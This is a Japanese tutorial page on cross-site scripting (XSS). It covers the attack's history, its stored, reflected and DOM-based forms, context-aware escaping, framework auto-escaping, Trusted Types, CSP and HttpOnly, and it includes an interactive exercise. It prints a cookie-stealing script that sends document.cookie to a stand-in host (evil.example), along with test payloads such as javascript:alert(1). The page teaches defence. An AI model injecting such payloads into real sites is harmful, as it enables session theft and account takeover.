セキュリティ●●●○○

XSS

Cross-Site Scripting ・ くろすさいとすくりぷてぃんぐ

入力をHTMLに埋め込む箇所の不備で、攻撃者のスクリプトを他人のブラウザで実行させる攻撃。

✦ 30秒で試す — 航海掲示板の書き込み1つで、読んだ人のログインが盗まれる読んだ人がそのリンクを押すと、どうなる?予想してみる

概要

XSS(クロスサイトスクリプティング)は、攻撃者が用意した JavaScript を、被害者のブラウザの上で「そのサイト自身のスクリプト」として実行させる攻撃です。掲示板のコメント、プロフィールの名前、検索キーワードといった利用者の入力を、サーバやフロントエンドがそのまま HTML に埋め込んでしまうと、入力に紛れ込ませたスクリプトがほかの閲覧者の画面で動きます。

実行されたスクリプトは、そのサイトのオリジン(スキーム・ホスト・ポートの組。ブラウザが「同じサイトの仲間」とみなす単位で、CORS の記事で詳しく扱います)の権限で動きます。ブラウザから見れば、ページに書かれた正規のスクリプトと区別がつきません。そのため Cookie やトークンといった認証の証を盗んでなりすます、ページに偽のログインフォームを差し込む、利用者の権限で勝手に送金や投稿をする、といったことができます。長年 Web の脆弱性のランキングの上位にあり続けている、最も頻出で影響の大きい脆弱性のひとつです。

なぜ生まれたか

XSS は誰かが設計したものではなく、Web が「サーバが動的なデータを HTML に埋め込んで返す」仕組みを持ったことの副作用として生まれました。HTML は、表示する文字(データ)と、タグや <script>(構文とコード)を、同じ1本のテキストの中に混ぜて書く言語です。ブラウザは受け取ったテキストを先頭から読み、< を見ればタグの始まり、" を見れば属性値の終わり、と判断します。本来はただの文字列であるはずの入力にこれらの記号が含まれていると、ブラウザはそれを「表示するデータ」ではなく「構文やコード」として読んでしまいます。

1990年代後半、CGI で掲示板や検索ページを作るとき、入力値を文字列連結でそのまま HTML に差し込むのは当たり前の書き方でした。2000年に Microsoft のエンジニアらがこの問題に「クロスサイトスクリプティング」という名前を付け、CERT が注意喚起を出しています。2005年には MySpace で、プロフィールに仕込まれたスクリプトが閲覧者のプロフィールへ自分をコピーしていく「Samy ワーム」が、1日足らずで100万人以上に広がりました。この「データとコードの境界が曖昧なまま入力を信じる」構図は、SQLインジェクションとまったく同じ根を持っており、対策の考え方(入力を値の箱に閉じ込める)も共通しています。

詳細

攻撃の流れ(蓄積型)

いちばん被害が大きいのが「蓄積型(Stored)XSS」です。攻撃コードがサーバに保存され、そのページを見た全員が被害に遭います。ここでも、スクリプトを実行するのはサーバではなく被害者のブラウザだ、という点を押さえて流れを追います。

攻撃者のサーバ被害者のブラウザデータベース正規サイトのサーバ攻撃者攻撃者のサーバ被害者のブラウザデータベース正規サイトのサーバ攻撃者パーサが script 要素として読み、正規サイトの権限で実行script タグを含むコメントを投稿コメントを保存そのページを開くコメントを読み出すエスケープせずに HTML へ埋め込んで返すdocument.cookie を送信盗んだ Cookie で被害者になりすます

たとえばコメント欄に <script>fetch('https://evil.example/?c='+document.cookie)</script> と投稿されたとします。データベース(RDBMS)に保存すること自体は問題ではありません。問題は、サーバがそのコメントを HTML に埋め込むときにエスケープしなかったことです。被害者のブラウザは、返ってきた HTML を読んで script 要素を見つけ、正規サイトの一部としてスクリプトを実行し、document.cookie(ログインを保つセッション Cookie など)を攻撃者のサーバへ送ってしまいます。

3つの型: 入口と、実行される場所

XSS は、攻撃文字列がどこから入り、どこで HTML やコードに変わるかで3つに分けられます。

入口サーバブラウザ(実行される場所)蓄積型攻撃者の投稿コメント・名前保存して配るHTML 組み立てで漏れる見た人全員被害が広がる反射型罠リンクの URL?q=<script>…そのまま応答へ「〇〇の検索結果」踏んだ人リンクごとに1回DOM ベースURL の # 以降サーバに送られない関与しないページの JSinnerHTML で漏れる
XSS の3つの型。蓄積型と反射型はサーバが HTML を組み立てるときに、DOM ベースはブラウザの中の JS が DOM を書き換えるときに境界が壊れる

蓄積型は、入力がサーバに保存され、あとからそのページを見た誰にでも配られる型です。反射型(Reflected)は、検索結果ページのようにリクエストの値がそのまま応答に写される箇所を突き、細工した URL を被害者に踏ませて発火させます。DOM ベースは、サーバを介さず、ページの JavaScript が location.hash などの値を innerHTML のような危険な API で DOM(ブラウザが HTML から組み立てた文書の木構造)に書き込むことで、ブラウザの中だけで起きる型です。SPA のようにブラウザ側で画面を組み立てるアプリが増えて、DOM ベースの比重が増しています。

対策の中心は「出力するときに、文脈に合わせて」エスケープ

対策の基本方針は「HTML に出力するその瞬間に、埋め込む場所(文脈)に合った変換をする」ことです。HTML の本文に埋め込むなら、< を &lt;、> を &gt;、& を &amp; に変えれば、ブラウザはそれをタグではなくただの文字として表示します。入力を受け取るときではなく、出力するときに処理するのがポイントです。同じ値が HTML の本文にも、JSON の API にも、メールの本文にも使われるので、受け取った時点ではどの変換が正しいかが決まらないからです。

利用者の入力<script>…</script>そのまま埋め込むエスケープして埋め込む<script>…</script>ブラウザは「タグ」として解釈&lt;script&gt;…ブラウザは「文字」として解釈スクリプトが実行される攻撃成立 — Cookie の窃取などが可能に画面に <script>… と表示ただの文字列 — 無害
同じ入力でも、エスケープの有無で「実行されるコード」と「ただの文字」に分かれる

ただし「文脈に合わせる」が肝心です。HTML の本文と、引用符で囲んだ属性値なら、HTML エスケープ(< > & " ' を置き換える)で足ります。ところが <script> の中は HTML ではなく JavaScript の文法の場所です。var id = <%= 値 %>; のように数値として埋め込むところに 1;alert(1) が来ると、HTML の特殊文字を1つも含まないので HTML エスケープは何も変えず、; で文が区切られて alert(1) が実行されます。ここでは JSON として文字列リテラルに変換する(< も < にしておく)必要があります。<a href="…"> のような URL の場所では、javascript:alert(1) が同じ理由で素通りし、リンクを押した瞬間にコードとして実行されます。ここでは http:・https: と相対パスだけを許すスキームの検査が要ります。

下の部品では、同じ攻撃文字列を4つの場所に埋め込み、ブラウザのパーサがどこまでを値として読み、どこからを構文やコードとして読むかを色で確かめます。エスケープを「なし」「HTML エスケープを全部に」「文脈ごと」と切り替えて、穴がどこで閉じるかを見てください。

⚡ 体験: 同じ入力を4つの場所に埋め込む
エスケープ
攻撃文字列
HTML 本文に入力
ブラウザの HTML パーサが読んだ結果(サーバが返した HTML)
HTML 本文そのままデータのまま
<p>こんにちは、太郎 さん</p>
属性値そのままデータのまま
<input value="太郎">
script の中そのままデータのまま
<script>var id = 42;</script>
URL(href)そのままデータのまま
<a href="https://example.com">サイトを見る</a>
abc テンプレート(開発者の HTML)abc 値として読まれた範囲(値の箱)abc 入力なのにタグ・属性・コードとして読まれた
○ エスケープなしで境界を壊す○ HTML エスケープでも閉じない場所○ 文脈ごとに4つとも閉じる

下の <script>alert(1)</script> をつかんで、「HTML 本文」の行へ落としてください。ブラウザのパーサがどこまでを値として読み、どこからをコードとして読むかが色で分かります。タップすると選んでいる行に入ります。

フレームワークの自動エスケープと、その外側

React や Vue のような現代のフレームワークは、テンプレートに埋め込んだ値を既定で自動エスケープします。「モダンなフロントエンドでは XSS が起きにくい」と言われるのはこのためです。だからこそ、その自動エスケープを意図的に迂回する API、つまり React の dangerouslySetInnerHTML、素の DOM 操作の innerHTML・outerHTML・document.write、Vue の v-html は「ここで守りが切れる」という標識になります。自動エスケープは属性の文脈までは面倒を見ますが、href={userUrl} に javascript: が入るのは防がない(React は警告を出すだけ)点にも注意が要ります。どうしても利用者の HTML を表示したい場合は、DOMPurify のようなサニタイザ(許可したタグと属性だけを残す処理)を通します。

DOM ベースの XSS には、ブラウザ側の仕組みも用意されています。Trusted Types は、innerHTML のような危険な書き込み先(シンク)に素の文字列を渡すことをブラウザに禁止させ、サニタイザを通した専用の型の値だけを受け付けさせる仕組みです。CSP の require-trusted-types-for 'script' で有効にでき、Chromium 系で先行して使え、ほかのブラウザにも広がりつつあります。

多層防御と関連する落とし穴

エスケープを土台にしつつ、被害を小さくする仕組みを重ねるのが実務です。CSP(Content Security Policy)のヘッダで「実行してよいスクリプトの出どころ」を絞れば、万一注入されても、nonce を持たないインラインスクリプトや外部のスクリプトの実行を止められます。認証に使う Cookie に HttpOnly 属性を付ければ、JavaScript の document.cookie から読めなくなり、Cookie そのものを盗まれることは防げます。ただし、注入されたスクリプトはそのページの中で利用者の権限のまま操作を送れるので、HttpOnly は XSS の被害を消すものではありません。

最後に CSRF との違いです。XSS は「攻撃者のスクリプトを、被害者のブラウザでそのサイトの一員として実行させる」攻撃、CSRF は「被害者のブラウザに、別サイトから意図しないリクエストを送らせる」攻撃です。XSS が成立すると、スクリプトはページの中から CSRF トークンを読み、同じオリジンからリクエストを送れるので、CSRF 対策も突破されます。XSS は、ほかの防御の前提を崩す、根の深い脆弱性です。

試問

画面には、利用者の入力をサーバが埋め込んだ HTML の4つの行(HTML 本文・属性値・script の中・リンクの URL)があり、ブラウザのパーサが入力を「値」として読んだか「コード」として読んだかが色で分かります。攻撃文字列のチップをつかんで行に落とすと、その行に埋め込まれます。上の欄で、埋め込むときのエスケープ(入力の記号を無害な形に置き換える処理)の方式を選べます。

✦ 命題挑戦中

4種類の攻撃文字列を4つの埋め込み先に1つずつ入れても、どの行でも入力がコードとして読まれないようにせよ

  • 4種類の攻撃文字列を、4つの場所に1つずつ埋め込む
  • それでも4行とも「データのまま」(コードとして読まれない)
⚡ 体験: 同じ入力を4つの場所に埋め込む
エスケープ
攻撃文字列
HTML 本文に入力
ブラウザの HTML パーサが読んだ結果(サーバが返した HTML)
HTML 本文そのままデータのまま
<p>こんにちは、太郎 さん</p>
属性値そのままデータのまま
<input value="太郎">
script の中そのままデータのまま
<script>var id = 42;</script>
URL(href)そのままデータのまま
<a href="https://example.com">サイトを見る</a>
abc テンプレート(開発者の HTML)abc 値として読まれた範囲(値の箱)abc 入力なのにタグ・属性・コードとして読まれた
○ エスケープなしで境界を壊す○ HTML エスケープでも閉じない場所○ 文脈ごとに4つとも閉じる

下の <script>alert(1)</script> をつかんで、「HTML 本文」の行へ落としてください。ブラウザのパーサがどこまでを値として読み、どこからをコードとして読むかが色で分かります。タップすると選んでいる行に入ります。